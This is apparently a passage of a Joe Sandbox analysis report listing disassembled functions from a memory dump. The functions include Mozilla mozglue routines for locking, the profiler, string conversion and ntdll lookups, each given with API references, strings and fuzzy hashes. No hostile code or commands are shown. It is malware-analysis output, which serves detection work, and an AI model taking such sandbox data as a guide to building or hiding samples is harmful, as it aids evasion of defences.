API String ID: 2723441310-2186867486
Opcode ID: 718c23f9e1cf966c788dd71da6affca665d055ee368c1ec450e64d4ade668484
Instruction ID: 48e1536f2f0669c544160619b682af56469d35fc0a8b4f871b052f5e726b8a34
Opcode Fuzzy Hash: 718c23f9e1cf966c788dd71da6affca665d055ee368c1ec450e64d4ade668484
Instruction Fuzzy Hash: 69E08CE2A0101037F6142256BC86DBB761CDBC6134F080039FE0E83341E94ABD1A51FB

Function 6C6ADC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6ADC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C6AD38A,?), ref: 6C6ADC6F
free.MOZGLUE(?,?,?,?,?,6C6AD38A,?), ref: 6C6ADCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C6AD38A,?), ref: 6C6ADCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C6AD38A,?), ref: 6C6ADD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C6AD38A,?), ref: 6C6ADD4A

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: e832c0ffbb3be5372cd064647279fbc88c4c6da441537e842909aca23f795383
Instruction ID: bcadd9162a49f29ceb0e17f71bb7541758fe66ea6d43d186fbb7bff36c009d76
Opcode Fuzzy Hash: e832c0ffbb3be5372cd064647279fbc88c4c6da441537e842909aca23f795383
Instruction Fuzzy Hash: 24416BB5A00605DFCB00CF99C88099AB7F5FF89314B654569DE46ABB11D771FC02CB98

Function 6C6A0C90 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C6A0CD5

Part of subcall function 6C68F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C68F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C6A0D40
free.MOZGLUE ref: 6C6A0DCB

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

free.MOZGLUE ref: 6C6A0DDD
free.MOZGLUE ref: 6C6A0DF2

Strings

!oi/, xrefs: 6C6A0CA2

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID: !oi/
API String ID: 4069420150-845032489
Opcode ID: fce425f7b408e5fb4db8014b62f0115985f6ab6ab260e4d0d9e1334d07c0fba8
Instruction ID: 0744bd5b5f7c2c126cec454ca987b28fa44c9ec751ffde8c5b25c6819782081d
Opcode Fuzzy Hash: fce425f7b408e5fb4db8014b62f0115985f6ab6ab260e4d0d9e1334d07c0fba8
Instruction Fuzzy Hash: 154139719087809BD320DF29C08079AFBE5BFC9714F118A2EE9D987750D770A846CB9B

Function 6C661720 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C6617B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C6618EE
free.MOZGLUE(?), ref: 6C661911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C66194C

Strings

!oi/, xrefs: 6C66172B

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID: !oi/
API String ID: 3725304770-845032489
Opcode ID: 4d6977340a6f6fe6efc0984376a74d4ba1fd2b4cbdbf62842cd540a28156e1bd
Instruction ID: 179c7417f028dbd7f031db162d738cad369d2a3ff8023aed4c3d2a6ad5f0b6d2
Opcode Fuzzy Hash: 4d6977340a6f6fe6efc0984376a74d4ba1fd2b4cbdbf62842cd540a28156e1bd
Instruction Fuzzy Hash: 7781D670A112059FCB08CF69D8D49EEBBB1FF89314F04462CE815ABB54D730E854CBA6

Function 6C6B1700 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C6B1800

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

Part of subcall function 6C654290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C693EBD,6C693EBD,00000000), ref: 6C6542A9

Strings

{marker.name} - {marker.data.name}, xrefs: 6C6B18C7
name, xrefs: 6C6B1939
!oi/, xrefs: 6C6B1708, 6C6B183C
Details, xrefs: 6C6B1925

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: !oi/$Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-2963762393
Opcode ID: f57cc0acf601b34f59bfb0a927a8cf69c2a29521a92e304fc251dfc88a6d7df5
Instruction ID: 22190e491aefa8e33f91223b97db45de0eecc8c7765d60689da5328f2aeae385
Opcode Fuzzy Hash: f57cc0acf601b34f59bfb0a927a8cf69c2a29521a92e304fc251dfc88a6d7df5
Instruction Fuzzy Hash: BB71F3B0A00346AFC704DF29D4947AABBB1FF46304F444669D8155BB41DB70F6A8CBEA

Function 6C67D468 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

EnterCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D4F2
LeaveCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D50B

Part of subcall function 6C65CFE0: EnterCriticalSection.KERNEL32(6C6DE784), ref: 6C65CFF6
Part of subcall function 6C65CFE0: LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C65D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D52E
EnterCriticalSection.KERNEL32(6C6DE7DC), ref: 6C67D690
LeaveCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D751

Strings

MOZ_CRASH(), xrefs: 6C67D4BB
!oi/, xrefs: 6C67D4E2

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: !oi/$MOZ_CRASH()
API String ID: 3805649505-1041849194
Opcode ID: 4a4597c506335fd374026c37a78a4c4713f739f71224aa12a41bea50c1db6c0a
Instruction ID: 72be7f876658cff6d62bdf5daf5ff4cfa071adc8b61d5b6b6fcdee3ae64f8576
Opcode Fuzzy Hash: 4a4597c506335fd374026c37a78a4c4713f739f71224aa12a41bea50c1db6c0a
Instruction Fuzzy Hash: E651A071A047018FD364CF29C49465AB7F1EF89704F558E2ED59AC7B84D770E840CB6A

Function 6C6A4630 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C6A4721

Strings

profiler-paused, xrefs: 6C6A46E4
., xrefs: 6C6A476A
-%llu, xrefs: 6C6A4733
!oi/, xrefs: 6C6A46EF

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __aulldiv
String ID: !oi/$-%llu$.$profiler-paused
API String ID: 3732870572-3878778278
Opcode ID: 7c47c857322daacc010ec0f4dd803b779c30a42292451004a68c6c0cc5d1a5bb
Instruction ID: d9b877f844518185a66eb8317f8e241a0f0eb0060e8744db4597b5dc4e61bef9
Opcode Fuzzy Hash: 7c47c857322daacc010ec0f4dd803b779c30a42292451004a68c6c0cc5d1a5bb
Instruction Fuzzy Hash: 37418971E047089BCB08CFB9D88116EBBF5EF86744F10863DE85957B41EB70E841874A

Function 6C6A46E0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C6A4721

Part of subcall function 6C654410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C693EBD,00000017,?,00000000,?,6C693EBD,?,?,6C6542D2), ref: 6C654444

Strings

profiler-paused, xrefs: 6C6A46E4
., xrefs: 6C6A476A
-%llu, xrefs: 6C6A4733
!oi/, xrefs: 6C6A46EF

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: !oi/$-%llu$.$profiler-paused
API String ID: 680628322-3878778278
Opcode ID: 26b888f47b694df7ae51fe5d885ae943c1e72917b37d5a576de09379f6fa01ae
Instruction ID: ee623ee0f79995db137349a269ed70c0a4b22cc15c8904805aa0d65b05339753
Opcode Fuzzy Hash: 26b888f47b694df7ae51fe5d885ae943c1e72917b37d5a576de09379f6fa01ae
Instruction Fuzzy Hash: 49312A71F042085BCB08CFADDC812ADBBE6DB89314F55813DE8059BB41EBB0DD058B99

Function 6C6B77D0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B77FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C6B7829

Part of subcall function 6C68CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C6531A7), ref: 6C68CC45
Part of subcall function 6C68CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C6531A7), ref: 6C68CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C6B789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C6B78CF

Part of subcall function 6C654DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C654E5A
Part of subcall function 6C654DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C654E97

Part of subcall function 6C654290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C693EBD,6C693EBD,00000000), ref: 6C6542A9

Strings

!oi/, xrefs: 6C6B77E0, 6C6B7894

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID: !oi/
API String ID: 2525797420-845032489
Opcode ID: df43c189fb2575bf45509e53df294fa891792ee3766543de59c7504d5b50fbb5
Instruction ID: d3f0341d97344c7fab9b808fa05ab6429bc07e170ace8f1b0d0d35edb21e3181
Opcode Fuzzy Hash: df43c189fb2575bf45509e53df294fa891792ee3766543de59c7504d5b50fbb5
Instruction Fuzzy Hash: DC41AF719047469BD300DF29C48056AFBF4FFCA254F604A2DE4A987680DB70E569CBDA

Function 6C6AB410 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C654290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C693EBD,6C693EBD,00000000), ref: 6C6542A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C6AB127), ref: 6C6AB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C6AB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C6AB4E4

Strings

pid:, xrefs: 6C6AB4DE
!oi/, xrefs: 6C6AB419

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: !oi/$pid:
API String ID: 1720406129-3030406083
Opcode ID: f2833832c2e09ac9d0fa345bfb691ad62b155d79752d84222e94a571c01022f7
Instruction ID: 08c90ab0690d7f8403227b0f2834ab55f99ceeb46082f2b9e9c56eb2096e64bc
Opcode Fuzzy Hash: f2833832c2e09ac9d0fa345bfb691ad62b155d79752d84222e94a571c01022f7
Instruction Fuzzy Hash: E431E031A0120C9FDB00DFEAD880AEEB7B5FF85318F540529D81267A45D732AD46CBA9

Function 6C696470 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C6982BC,?,?), ref: 6C69649B

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6964A9

Part of subcall function 6C68FA80: GetCurrentThreadId.KERNEL32 ref: 6C68FA8D
Part of subcall function 6C68FA80: AcquireSRWLockExclusive.KERNEL32(6C6DF448), ref: 6C68FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C69653F
free.MOZGLUE(?), ref: 6C69655A

Strings

!oi/, xrefs: 6C696482

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID: !oi/
API String ID: 3596744550-845032489
Opcode ID: 84f714f4f15ae930f76b2db4f443e3ba3e75a5f9a40559ef3b81db765fb5b1f9
Instruction ID: 98cb846002616a141ddfcc5cd91472c026677bdcc18c31a34d08c92d525b97ac
Opcode Fuzzy Hash: 84f714f4f15ae930f76b2db4f443e3ba3e75a5f9a40559ef3b81db765fb5b1f9
Instruction Fuzzy Hash: 223161B5A04305AFD740CF15D88469AB7E4FF89314F00482EE85A97751DB34E919CBDA

Function 6C6B74A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C6B7526
__Init_thread_footer.LIBCMT ref: 6C6B7566
__Init_thread_footer.LIBCMT ref: 6C6B7597

Strings

UnmapViewOfFile2, xrefs: 6C6B7552
kernel32.dll, xrefs: 6C6B7557

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 615ffa97ad8c0de051b7642b4bca49c3847e34a81dded684b7e6253d4862282e
Instruction ID: 70c3812f21271e644d1c9f7080f2d601ef814584af8e9d41c780a69cb21825ee
Opcode Fuzzy Hash: 615ffa97ad8c0de051b7642b4bca49c3847e34a81dded684b7e6253d4862282e
Instruction Fuzzy Hash: 1621373270150197CB248FEAD894ED973B5EB87725F054529E80167B80DB31B9118BBF

Function 6C69E550 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C69E577
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69E584
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C69E8A6

Strings

MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C69E722, 6C69E750, 6C69E7A2
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C69E826, 6C69E850
!oi/, xrefs: 6C69E2FB, 6C69E399, 6C69E55C
MOZ_PROFILER_STARTUP, xrefs: 6C69E5A1, 6C69E5CC, 6C69E5FF, 6C69E62A
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C69E655
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C69E777

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: !oi/$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-306383107
Opcode ID: 1eca9647559c815ef8c16a1fd9d354fdd95aa9a5c77d5d2c3967643dee620f54
Instruction ID: 8c3d27a3f7cef48c4ed5c2157a3c3fed9863bba23175123dc71420e2c82529b7
Opcode Fuzzy Hash: 1eca9647559c815ef8c16a1fd9d354fdd95aa9a5c77d5d2c3967643dee620f54
Instruction Fuzzy Hash: 4111AD31A04258DFCB009F16C888B6ABBB4FFC9329F050A19E84587651D774B805CFDE

Function 6C6BA7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DF770,-00000001,?,6C6CE330,?,6C67BDF7), ref: 6C6BA7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C67BDF7), ref: 6C6BA7C2
moz_xmalloc.MOZGLUE(00000018,?,6C67BDF7), ref: 6C6BA7E4
LeaveCriticalSection.KERNEL32(6C6DF770), ref: 6C6BA80A

Strings

accelerator.dll, xrefs: 6C6BA7BF

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: 5e5e9ad4ff32a23f1ea511f79991366088f343aeb495c83e97c7ab768b0cbc04
Instruction ID: 84db9bc2db7f189236c13609ddf8cf80400de71c38a9021371926e3afc495937
Opcode Fuzzy Hash: 5e5e9ad4ff32a23f1ea511f79991366088f343aeb495c83e97c7ab768b0cbc04
Instruction Fuzzy Hash: 8F01ADB07143049FDF04DF5AE8C4C9177B8FB8A355B05806AE90A8B712DB70A810CFAA

Function 6C6B75B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C6B748B,?), ref: 6C6B75B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C6B75D7
FreeLibrary.KERNEL32(?,6C6B748B,?), ref: 6C6B75EC

Strings

ntdll.dll, xrefs: 6C6B75B3
RtlNtStatusToDosError, xrefs: 6C6B75D1

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 0ed2408e784dd703723be8bc13cc7e9168facbfe92853743f00b8c28fd63a019
Instruction ID: 599b689ad59f66e73d5d34581d44cd022478ec4cd9cadc224c2f026cf24e048d
Opcode Fuzzy Hash: 0ed2408e784dd703723be8bc13cc7e9168facbfe92853743f00b8c28fd63a019
Instruction Fuzzy Hash: 8FE0B671600302ABEF006FE3E9C87817AF8EB46359F108425AA15D6650EFB0B452CF5E

Function 6C6B7600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C6B7592), ref: 6C6B7608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C6B7627
FreeLibrary.KERNEL32(?,6C6B7592), ref: 6C6B763C

Strings

ntdll.dll, xrefs: 6C6B7603
NtUnmapViewOfSection, xrefs: 6C6B7621

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: aff42ef36585dfbf2b3ffed05fcd9c9d21b389548d503c9e2ccb9ff195cd6380
